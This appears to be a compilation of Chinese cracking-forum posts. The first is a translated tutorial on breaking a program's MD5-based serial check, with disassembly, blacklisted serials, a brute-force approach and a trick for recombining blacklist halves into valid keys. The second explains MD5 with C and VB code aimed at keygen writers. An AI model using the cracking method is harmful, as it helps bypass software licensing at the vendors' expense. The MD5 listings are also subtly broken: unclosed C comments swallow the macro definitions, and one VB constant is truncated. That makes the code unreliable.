当你打开程序的时候，你会被中断2次，在第二次中断以后，你可以看到程序对注册表里的值进行了一些
运算，还原得到我们输入的数值。然后，你会看到如下代码：
mov edx, offset aAusp2471492081 ; "AUSP2471-4920818318240628-66436089" call LStrCmp
jz loc_48C61A
lea ecx, [ebp+var_30]
mov eax, [ebp+var_4]
mov edx, [eax+454h]
mov eax, [ebp+var_4]
call sub_485760
mov eax, [ebp+var_30]
mov edx, offset aAusp0765983246 ; "AUSP0765-9832461809369656-14032654" call LStrCmp
jz short loc_48C61A
lea ecx, [ebp+var_34]
mov eax, [ebp+var_4]
mov edx, [eax+454h]
mov eax, [ebp+var_4]
call sub_485760
mov eax, [ebp+var_34]
mov edx, offset aAusp5902329790 ; "AUSP5902-3297905884364589-44425670" call LStrCmp

程序把我们输入的数值和黑名单中的进行比较。这样，我们就可以知道正确的注册码的格式了。我按照这
个格式输入了一个假的注册码：AUSP0123-123456789012345-12345678，然后继续跟踪。为了减少跟踪的
时间，我们可以在注册码上面设一个bpm断点。中断后，我们可以看到如下代码：
MOV EAX,[EBP-10] ; Here our serial is at eax
CALL 004914D8

我跟进了这个Call，发现在这里，它把我们输入的注册码分成2部分，然后调用44DB38处的子程序对它们
进行处理，我跟进44DB38处的子程序，在这个子程序的第一个Call里头，我看到如下代码：
push ebx
add esp, 0FFFFFFF0h
mov ebx, eax
mov [esp+10h+var_10], 67452301h
mov [ESP+10h+var_C], 0EFCDAB89h
mov [ESP+10h+var_8], 98BADCFEh
mov [ESP+10h+var_4], 10325476h
lea edx, [ebx+7Ch]
mov eax, ESP
mov ecx, 4
call Move_int

很明显，这些数是MD5和MD4算法初始化中要用到的。我猜这个程序在这里使用的是MD5对我们注册码的一
半进行Hash运算。为了验证我的猜测，在这个Call执行完后，我检查了AUSP0123-12345678的MD5值，结果
和程序运算的结果：d1c40a23337b9c55905e64ddfa460305完全一样.程序把这个结果和它内部的3，5百个
值进行比较，如果有相等的，就认为正确。对我们注册码的第2部分也进行同样操作。

由于作比较的值有300-500个，而且注册码是以AUSP开头的，所以，我们可以用穷举法搜索合适的注册
码。我从AUSP0000-00000000 穷举到 AUSP0000-99999999。在PIII 450上，我用了13-15分钟完成穷举。
如果你想自己写一个穷举程序的话，我建议你使用SSLeay库，因为它作了一些优化，可以加快我们的速
度。

其实，如果你仅仅是想注册这个程序的话，并不需要穷举的。程序就是把你序列号的MD5值和内部的一些
数进行比较，所以，你只要把黑名单中的注册码都分成两部分，进行一下新的组合，就可以得到10多个
可用的序列号了。

后记：今天在Fravia闲逛，看到这篇文章，觉得真的很不错。于是拿着蹩脚的E文翻译了一下，推荐给大
家，主要是介绍一个新的思路。我觉得，对于一个初学者，从这里至少能学到如下几点东西：

1.）条件断点的设置。断点的设置，很大程度上取决于个人对逆向工程的理解程度，一个好的断点，会
给你的工作带来很大的便利。Trw虽然也可以设置条件断点，不过总的来说功能没有Sice强大。

2.）如何识别程序使用了何种加密算法。当然，这个问题不是一两篇文章就能说的清楚的。要认出程序
使用的算法，自己首先要对该算法很熟悉，才能从一些蛛丝马迹中推测出来。就我的经验，要识别
出算法主要有2个方法：
a.）反汇编
b.）看算法初始化
前者是静态的分析，后者是动态的跟踪。
我发现有些初学者拿到一个软件，不管三七二十一，拿着Trw就Load，然后一步一步地跟踪。忽略了
对目标软件的考察，这样是非常不利于提高自己的水平的。至少，用FileInfo考察文件信息，然后
用W32dasm或者Dede进行反汇编。我觉得这两步是必不可少的。

3.）不要忽视软件的黑名单。有时它会起到意想不到的作用。最重要的就是我们可以用它得到序列号的 格式。这对于破解来说很重要。

最后给出几个可能初学者不太熟悉的名词的解释，算是科普吧？呵呵……
Hash：把输入进行运算，得到定长的输出。最大的特点是不可逆。著名的Hash算法有MD5,SHA1等
SSLeay：一个数学运算库，主要应用在大数运算领域。著名的运算库还有：FreeLip,Miracl等。


MD5的介绍，算法和实现

 标 题:MD5的介绍，算法和实现。 ————娃娃/[CCG] (23千字)
发信人:1212
时 间:2001-11-4 14:36:12
详细信息:
MD5的介绍，算法和实现
Wrote By 娃娃/[CCG]

最近对各种加密算法很感兴趣 原因有好多：破解TMG的KeyGenme失败；羡慕伪哥的万象注册机；佩服夜月大哥和Stkman大哥的密码学功力………… 偶然间跟Stkman大哥谈起来MD5，他给了我很多帮助 使得我可以写出这篇文章。

MD5简介：

MD5的全称是Message-Digest Algorithm 5，在90年代初由MIT的计算机科学实验室和RSA Data Security Inc发明，经MD2、MD3和MD4发展而来。

Message-Digest泛指字节串(Message)的Hash变换，就是把一个任意长度的字节串变换成一定长的大整数。请注意我使用了“字节串”而不是“字符串”这个词，是因为这种变换只与字节的值有关，与字符集或编码方式无关。

MD5将任意长度的“字节串”变换成一个128bit的大整数，并且它是一个不可逆的字符串变换算法，（我刚开始还愚蠢的认为MD5是可逆的算法 感谢Stkman大哥的讲解）换句话说就是，即使你看到源程序和算法描述，也无法将一个MD5的值变换回原始的字符串，从数学原理上说，是因为原始的字符串有无穷多个，这有点象不存在反函数的数学函数。

MD5的典型应用是对一段Message(字节串)产生fingerprint(指纹)，以防止被“篡改”。举个例子，你将一段话写在一个叫readme.txt文件中，并对这个readme.txt产生一个MD5的值并记录在案，然后你可以传播这个文件给别人，别人如果修改了文件中的任何内容，你对这个文件重新计算MD5时就会发现。如果再有一个第三方的认证机构，用MD5还可以防止文件作者的“抵赖”，这就是所谓的数字签名应用。

MD5还广泛用于加密和解密技术上，在很多操作系统中，用户的密码是以MD5值（或类似的其它算法）的方式保存的， 用户Login的时候，系统是把用户输入的密码计算成MD5值，然后再去和系统中保存的MD5值进行比较，而系统并不“知道”用户的密码是什么。

一些黑客破获这种密码的方法是一种被称为“跑字典”的方法。有两种方法得到字典，一种是日常搜集的用做密码的字符串表，另一种是用排列组合方法生成的，先用MD5程序计算出这些字典项的MD5值，然后再用目标的MD5值在这个字典中检索。

即使假设密码的最大长度为8，同时密码只能是字母和数字，共26+26+10=62个字符，排列组合出的字典的项数则是P(62,1)+P(62,2)….+P(62,8)，那也已经是一个很天文的数字了，存储这个字典就需要TB级的磁盘组，而且这种方法还有一个前提，就是能获得目标账户的密码MD5值的情况下才可以。

在软件的加密保护中 很多软件采用MD5保护 但是由于MD5算法为不可逆算法 所以所有的软件都是使用MD5算法作为一个加密的中间步骤，比如对用户名做一个MD5变换,结果再进行一个可逆的加密变换，做注册机时也只要先用MD5变换，然后再用一个逆算法。所以对于破解者来说只要能看出是MD5就很容易了。

MD5代码的特点明显，跟踪时很容易发现，如果软件采用MD5算法，在数据初始化的时候必然用到以下的四个常数
0x67452301;
0xefcdab89;
0x98badcfe;
0x10325476;
若常数不等 则可能是变形的MD5算法 或者根本就不是这个算法。在内存了也就是
01 23 45 67 89 ab cd ef fe dc ......32 10 16个字节
————————————————————————————————————————————

MD5算法：

第一步：增加填充
增加padding使得数据长度（bit为单位）模512为448。如果数据长度正好是模512为448，增加512个填充bit，也就是说填充的个数为1-512。第一个bit为1，其余全部为0。
第二步：补足长度
将数据长度转换为64bit的数值，如果长度超过64bit所能表示的数据长度的范围，值保留最后64bit，增加到前面填充的数据后面，使得最后的数据为512bit的整数倍。也就是32bit的16倍的整数倍。在RFC1321中，32bit称为一个word。
第三步：初始化变量：
用到4个变量，分别为A、B、C、D，均为32bit长。初始化为：
A: 01 23 45 67
B: 89 ab cd ef
C: fe dc ba 98
D: 76 54 32 10
第四步：数据处理：
首先定义4个辅助函数：
F(X,Y,Z) = XY v not(X) Z
G(X,Y,Z) = XZ v Y not(Z)
H(X,Y,Z) = X xor Y xor Z
I(X,Y,Z) = Y xor (X v not(Z))
其中：XY表示按位与，X v Y表示按位或，not(X)表示按位取反。xor表示按位异或。
函数中的X、Y、Z均为32bit。

定义一个需要用到的数组：T(i),i取值1-64,T(i)等于abs(sin(i))的4294967296倍的整数部分,i为弧度。
假设前三步处理后的数据长度为32*16*Nbit

第五步：输出：
最后得到的ABCD为输出结果，共128bit。A为低位，D为高位。

MD5在编程中的实现

下面来看看如何在C语言和VB中实现MD5算法
————————————————————————————————————————————

*/
#ifndef PROTOTYPES
#define PROTOTYPES 0
#endif
typedef unsigned char *POINTER;
typedef unsigned short int UINT2;
typedef unsigned long int UINT4;
#if PROTOTYPES
#define PROTO_LIST(list) list
#else
#define PROTO_LIST(list) ()
#endif

—————————— MD5.h————————————————————————————

typedef struct {
UINT4 state[4];
UINT4 count[2];
unsigned char buffer[64];
} MD5_CTX;

void MD5Init PROTO_LIST ((MD5_CTX *));
void MD5Update PROTO_LIST
((MD5_CTX *, unsigned char *, unsigned int));
void MD5Final PROTO_LIST ((unsigned char [16], MD5_CTX *));

※※※※※※※※※MD5C.C※※※※※※※※※※※※※※※※※※※※※※※※
#include "global.h"
#include "md5.h"
#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21

static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
static void Encode PROTO_LIST
((unsigned char *, UINT4 *, unsigned int));
static void Decode PROTO_LIST
((UINT4 *, unsigned char *, unsigned int));
static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));

static unsigned char PADDING[64] = {
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};

/* 定义F G H I 为四个基数

#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
#define FF(a, b, c, d, x, s, ac) { \
(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define GG(a, b, c, d, x, s, ac) { \
(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define HH(a, b, c, d, x, s, ac) { \
(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define II(a, b, c, d, x, s, ac) { \
(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}

/*开始进行MD5计算
void MD5Init (context)
MD5_CTX *context;
{
context->count[0] = context->count[1] = 0;
/* 在这里定义四个常数，也就是我们刚才讲到的四个特征数.

context->state[0] = 0x67452301;
context->state[1] = 0xefcdab89;
context->state[2] = 0x98badcfe;
context->state[3] = 0x10325476;
}

void MD5Update (context, input, inputLen)
MD5_CTX *context;
unsigned char *input;
unsigned int inputLen;
{
unsigned int i, index, partLen;

index = (unsigned int)((context->count[0] >> 3) & 0x3F);

if ((context->count[0] += ((UINT4)inputLen << 3)) < ((UINT4)inputLen << 3))
context->count[1]++;
context->count[1] += ((UINT4)inputLen >> 29);

partLen = 64 - index;

if (inputLen >= partLen) {
MD5_memcpy
((POINTER)&context->buffer[index], (POINTER)input, partLen);
MD5Transform (context->state, context->buffer);

for (i = partLen; i + 63 < inputLen; i += 64)
MD5Transform (context->state, &input[i]);

index = 0;
}
else
i = 0;

MD5_memcpy
((POINTER)&context->buffer[index], (POINTER)&input[i],
inputLen-i);
}

void MD5Final (digest, context)
unsigned char digest[16];
MD5_CTX *context;
{
unsigned char bits[8];
unsigned int index, padLen;

Encode (bits, context->count, 8);

index = (unsigned int)((context->count[0] >> 3) & 0x3f);
padLen = (index < 56) ? (56 - index) : (120 - index);
MD5Update (context, PADDING, padLen);
MD5Update (context, bits, 8);

Encode (digest, context->state, 16);
MD5_memset ((POINTER)context, 0, sizeof (*context));
}

static void MD5Transform (state, block)
UINT4 state[4];
unsigned char block[64];
{
UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];

Decode (x, block, 64);

/* 第一轮循环 */
FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */

/* 第二轮循环 */
GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */
GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */

/* 第三轮循环 */
HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */

/* 第四轮循环 */
II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */

state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;

MD5_memset ((POINTER)x, 0, sizeof (x));

}
static void Encode (output, input, len)
unsigned char *output;
UINT4 *input;
unsigned int len;
{
unsigned int i, j;

for (i = 0, j = 0; j < len; i++, j += 4) {
output[j] = (unsigned char)(input[i] & 0xff);
output[j+1] = (unsigned char)((input[i] >> 8) & 0xff);
output[j+2] = (unsigned char)((input[i] >> 16) & 0xff);
output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);
}
}

static void Decode (output, input, len)
UINT4 *output;
unsigned char *input;
unsigned int len;
{
unsigned int i, j;

for (i = 0, j = 0; j < len; i++, j += 4)
output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) |
(((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);
}

static void MD5_memcpy (output, input, len)
POINTER output;
POINTER input;
unsigned int len;
{
unsigned int i;

for (i = 0; i < len; i++) output[i] = input[i];
}

static void MD5_memset (output, value, len)
POINTER output;
int value;
unsigned int len;
{
unsigned int i;

for (i = 0; i < len; i++)
((char *)output)[i] = (char)value;
}
————————————————C代码结束——————————

在VB中实现MD5算法
——————————————————————————————————————————
Option Explicit

Dim w1 As String, w2 As String, w3 As String, w4 As String

Function MD5F(ByVal tempstr As String, ByVal w As String, ByVal X As String, ByVal y As String, ByVal z As String, ByVal Xin As String, ByVal qdata As String, ByVal rots As Integer)
MD5F = BigMod32Add(RotLeft(BigMod32Add(BigMod32Add(w, tempstr), BigMod32Add(Xin, qdata)), rots), X)
End Function

Sub MD5F1(w As String, ByVal X As String, ByVal y As String, ByVal z As String, ByVal Xin As String, ByVal qdata As String, ByVal rots As Integer)
Dim tempstr As String

tempstr = BigXOR(z, BigAND(X, BigXOR(y, z)))
w = MD5F(tempstr, w, X, y, z, Xin, qdata, rots)
End Sub

Sub MD5F2(w As String, ByVal X As String, ByVal y As String, ByVal z As String, ByVal Xin As String, ByVal qdata As String, ByVal rots As Integer)
Dim tempstr As String

tempstr = BigXOR(y, BigAND(z, BigXOR(X, y)))
w = MD5F(tempstr, w, X, y, z, Xin, qdata, rots)
End Sub

Sub MD5F3(w As String, ByVal X As String, ByVal y As String, ByVal z As String, ByVal Xin As String, ByVal qdata As String, ByVal rots As Integer)
Dim tempstr As String

tempstr = BigXOR(X, BigXOR(y, z))
w = MD5F(tempstr, w, X, y, z, Xin, qdata, rots)
End Sub

Sub MD5F4(w As String, ByVal X As String, ByVal y As String, ByVal z As String, ByVal Xin As String, ByVal qdata As String, ByVal rots As Integer)
Dim tempstr As String

tempstr = BigXOR(y, BigOR(X, BigNOT(z)))
w = MD5F(tempstr, w, X, y, z, Xin, qdata, rots)
End Sub

Function MD5_Calc(ByVal hashthis As String) As String
ReDim buf(0 To 3) As String
ReDim Xin(0 To 15) As String
Dim tempnum As Integer, tempnum2 As Integer, loopit As Integer, loopouter As Integer, loopinner As Integer
Dim a As String, b As String, c As String, d As String

tempnum = 8 * Len(hashthis)
hashthis = hashthis + Chr$(128) 'Add binary 10000000
tempnum2 = 56 - Len(hashthis) Mod 64

If tempnum2 < 0 Then
tempnum2 = 64 + tempnum2
End If

hashthis = hashthis + String$(tempnum2, Chr$(0))

For loopit = 1 To 8
hashthis = hashthis + Chr$(tempnum Mod 256)
tempnum = tempnum - tempnum Mod 256
tempnum = tempnum / 256
Next loopit

buf(0) = "67452301"
buf(1) = "efcdab89"
buf(2) = "98badcfe"
buf(3) = "10325476"

For loopouter = 0 To Len(hashthis) / 64 - 1
a = buf(0)
b = buf(1)
c = buf(2)
d = buf(3)

' Get the 512 bits
For loopit = 0 To 15
Xin(loopit) = ""
For loopinner = 1 To 4
Xin(loopit) = Hex$(Asc(Mid$(hashthis, 64 * loopouter + 4 * loopit + loopinner, 1))) + Xin(loopit)
If Len(Xin(loopit)) Mod 2 Then Xin(loopit) = "0" + Xin(loopit)
Next loopinner
Next loopit

' 第一轮循环
MD5F1 a, b, c, d, Xin(0), "d76aa478", 7
MD5F1 d, a, b, c, Xin(1), "e8c7b756", 12
MD5F1 c, d, a, b, Xin(2), "242070db", 17
MD5F1 b, c, d, a, Xin(3), "c1bdceee", 22
MD5F1 a, b, c, d, Xin(4), "f57c0faf", 7
MD5F1 d, a, b, c, Xin(5), "4787c62a", 12
MD5F1 c, d, a, b, Xin(6), "a8304613", 17
MD5F1 b, c, d, a, Xin(7), "fd469501", 22
MD5F1 a, b, c, d, Xin(8), "698098d8", 7
MD5F1 d, a, b, c, Xin(9), "8b44f7af", 12
MD5F1 c, d, a, b, Xin(10), "ffff5bb1", 17
MD5F1 b, c, d, a, Xin(11), "895cd7be", 22
MD5F1 a, b, c, d, Xin(12), "6b901122", 7
MD5F1 d, a, b, c, Xin(13), "fd987193", 12
MD5F1 c, d, a, b, Xin(14), "a679438e", 17
MD5F1 b, c, d, a, Xin(15), "49b40821", 22

' 第二轮循环
MD5F2 a, b, c, d, Xin(1), "f61e2562", 5
MD5F2 d, a, b, c, Xin(6), "c040b340", 9
MD5F2 c, d, a, b, Xin(11), "265e5a51", 14
MD5F2 b, c, d, a, Xin(0), "e9b6c7aa", 20
MD5F2 a, b, c, d, Xin(5), "d62f105d", 5
MD5F2 d, a, b, c, Xin(10), "02441453", 9
MD5F2 c, d, a, b, Xin(15), "d8a1e681", 14
MD5F2 b, c, d, a, Xin(4), "e7d3fbc8", 20
MD5F2 a, b, c, d, Xin(9), "21e1cde6", 5
MD5F2 d, a, b, c, Xin(14), "c33707d6", 9
MD5F2 c, d, a, b, Xin(3), "f4d50d87", 14
MD5F2 b, c, d, a, Xin(8), "455a14ed", 20
MD5F2 a, b, c, d, Xin(13), "a9e3e905", 5
MD5F2 d, a, b, c, Xin(2), "fcefa3f8", 9
MD5F2 c, d, a, b, Xin(7), "676f02d9", 14
MD5F2 b, c, d, a, Xin(12), "8d2a4c8a", 20

' 第三轮循环
MD5F3 a, b, c, d, Xin(5), "fffa3942", 4
MD5F3 d, a, b, c, Xin(8), "8771f681", 11
MD5F3 c, d, a, b, Xin(11), "6d9d6122", 16
MD5F3 b, c, d, a, Xin(14), "fde5380c", 23
MD5F3 a, b, c, d, Xin(1), "a4beea44", 4
MD5F3 d, a, b, c, Xin(4), "4bdecfa9", 11
MD5F3 c, d, a, b, Xin(7), "f6bb4b60", 16
MD5F3 b, c, d, a, Xin(10), "bebfbc70", 23
MD5F3 a, b, c, d, Xin(13), "289b7ec6", 4
MD5F3 d, a, b, c, Xin(0), "e27fa", 11
MD5F3 c, d, a, b, Xin(3), "d4ef3085", 16
MD5F3 b, c, d, a, Xin(6), "04881d05", 23
MD5F3 a, b, c, d, Xin(9), "d9d4d039", 4
MD5F3 d, a, b, c, Xin(12), "e6db99e5", 11
MD5F3 c, d, a, b, Xin(15), "1fa27cf8", 16
MD5F3 b, c, d, a, Xin(2), "c4ac5665", 23

' 第四轮循环
MD5F4 a, b, c, d, Xin(0), "f4292244", 6
MD5F4 d, a, b, c, Xin(7), "432aff97", 10
MD5F4 c, d, a, b, Xin(14), "ab9423a7", 15
MD5F4 b, c, d, a, Xin(5), "fc93a039", 21
MD5F4 a, b, c, d, Xin(12), "655b59c3", 6
MD5F4 d, a, b, c, Xin(3), "8f0ccc92", 10
MD5F4 c, d, a, b, Xin(10), "ffeff47d", 15
MD5F4 b, c, d, a, Xin(1), "85845dd1", 21
MD5F4 a, b, c, d, Xin(8), "6fa87e4f", 6
MD5F4 d, a, b, c, Xin(15), "fe2ce6e0", 10
MD5F4 c, d, a, b, Xin(6), "a3014314", 15
MD5F4 b, c, d, a, Xin(13), "4e0811a1", 21
MD5F4 a, b, c, d, Xin(4), "f7537e82", 6
MD5F4 d, a, b, c, Xin(11), "bd3af235", 10
MD5F4 c, d, a, b, Xin(2), "2ad7d2bb", 15
MD5F4 b, c, d, a, Xin(9), "eb86d391", 21

buf(0) = BigAdd(buf(0), a)
buf(1) = BigAdd(buf(1), b)
buf(2) = BigAdd(buf(2), c)
buf(3) = BigAdd(buf(3), d)
Next loopouter

hashthis = ""
For loopit = 0 To 3
For loopinner = 3 To 0 Step -1
hashthis = hashthis + Chr(Val("&H" + Mid$(buf(loopit), 1 + 2 * loopinner, 2)))
Next loopinner
Next loopit

MD5_Calc = hashthis
End Function

Function BigMod32Add(ByVal value1 As String, ByVal value2 As String) As String
BigMod32Add = Right$(BigAdd(value1, value2), 8)
End Function

Public Function BigAdd(ByVal value1 As String, ByVal value2 As String) As String
Dim valueans As String
Dim loopit As Integer, tempnum As Integer

tempnum = Len(value1) - Len(value2)
If tempnum < 0 Then
value1 = Space$(Abs(tempnum)) + value1
ElseIf tempnum > 0 Then
value2 = Space$(Abs(tempnum)) + value2
End If

tempnum = 0
For loopit = Len(value1) To 1 Step -1
tempnum = tempnum + Val("&H" + Mid$(value1, loopit, 1)) + Val("&H" + Mid$(value2, loopit, 1))
valueans = Hex$(tempnum Mod 16) + valueans
tempnum = Int(tempnum / 16)
Next loopit

If tempnum <> 0 Then
valueans = Hex$(tempnum) + valueans
End If

BigAdd = Right(valueans, 8)
End Function

Public Function RotLeft(ByVal value1 As String, ByVal rots As Integer) As String
Dim tempstr As String
Dim loopit As Integer, loopinner As Integer
Dim tempnum As Integer

rots = rots Mod 32

If rots = 0 Then
RotLeft = value1
Exit Function
End If

value1 = Right$(value1, 8)
tempstr = String$(8 - Len(value1), "0") + value1
value1 = ""

' 转换成二进制形式
For loopit = 1 To 8
tempnum = Val("&H" + Mid$(tempstr, loopit, 1))
For loopinner = 3 To 0 Step -1
If tempnum And 2 ^ loopinner Then
value1 = value1 + "1"
Else
value1 = value1 + "0"
End If
Next loopinner
Next loopit
tempstr = Mid$(value1, rots + 1) + Left$(value1, rots)

' 转换为十六进制
value1 = ""
For loopit = 0 To 7
tempnum = 0
For loopinner = 0 To 3
If Val(Mid$(tempstr, 4 * loopit + loopinner + 1, 1)) Then

tempnum = tempnum + 2 ^ (3 - loopinner)
End If
Next loopinner
value1 = value1 + Hex$(tempnum)
Next loopit

RotLeft = Right(value1, 8)
End Function

Function BigAND(ByVal value1 As String, ByVal value2 As String) As String
Dim valueans As String
Dim loopit As Integer, tempnum As Integer

tempnum = Len(value1) - Len(value2)
If tempnum < 0 Then
value2 = Mid$(value2, Abs(tempnum) + 1)
ElseIf tempnum > 0 Then
value1 = Mid$(value1, tempnum + 1)
End If

For loopit = 1 To Len(value1)
valueans = valueans + Hex$(Val("&H" + Mid$(value1, loopit, 1)) And Val("&H" + Mid$(value2, loopit, 1)))
Next loopit

BigAND = valueans
End Function

Function BigNOT(ByVal value1 As String) As String
Dim valueans As String
Dim loopit As Integer

value1 = Right$(value1, 8)
value1 = String$(8 - Len(value1), "0") + value1
For loopit = 1 To 8
valueans = valueans + Hex$(15 Xor Val("&H" + Mid$(value1, loopit, 1)))
Next loopit

BigNOT = valueans
End Function

Function BigOR(ByVal value1 As String, ByVal value2 As String) As String
Dim valueans As String
Dim loopit As Integer, tempnum As Integer

tempnum = Len(value1) - Len(value2)
If tempnum < 0 Then
valueans = Left$(value2, Abs(tempnum))
value2 = Mid$(value2, Abs(tempnum) + 1)
ElseIf tempnum > 0 Then
valueans = Left$(value1, Abs(tempnum))
value1 = Mid$(value1, tempnum + 1)
End If

For loopit = 1 To Len(value1)
valueans = valueans + Hex$(Val("&H" + Mid$(value1, loopit, 1)) Or Val("&H" + Mid$(value2, loopit, 1)))
Next loopit

BigOR = valueans
End Function

Function BigXOR(ByVal value1 As String, ByVal value2 As String) As String
Dim valueans As String
Dim loopit As Integer, tempnum As Integer

tempnum = Len(value1) - Len(value2)
If tempnum < 0 Then
valueans = Left$(value2, Abs(tempnum))
value2 = Mid$(value2, Abs(tempnum) + 1)
ElseIf tempnum > 0 Then
valueans = Left$(value1, Abs(tempnum))
value1 = Mid$(value1, tempnum + 1)
End If

For loopit = 1 To Len(value1)
valueans = valueans + Hex$(Val("&H" + Mid$(value1, loopit, 1)) Xor Val("&H" + Mid$(value2, loopit, 1)))
Next loopit

BigXOR = Right(valueans, 8)
End Function
————————————————————————————————————————————

呵呵 洋洋洒洒的一大篇可是我查找了不少资料才写出来 ^_^ 大概可以当成我们学校的Assignment了 呵呵 感谢大家看完 最后给大家出到题吧 大家可以试试自己的运气啊 就是：
51E5D4BD3323A02CCCDD0472AE2DC20B 这组数是我通过MD5算法加密一组字符串后产生的一组密码 大家猜猜我加密的字符串是什么 ^_^ 提示一下————加空格一共20位 ^_^

^_^ 88

仅以次文献给我们可爱的组织CCG 希望它能蒸蒸日上！

娃娃(NYDoll)
属于中国破解组织CHiNA CrACKiNG GrOUp


keygen of TMG Official Keygenme #3

 标 题:keygen of TMG Official Keygenme #3. $^) (3千字)
发信人:arbiter
时 间:2002-2-22 2:11:29
详细信息:
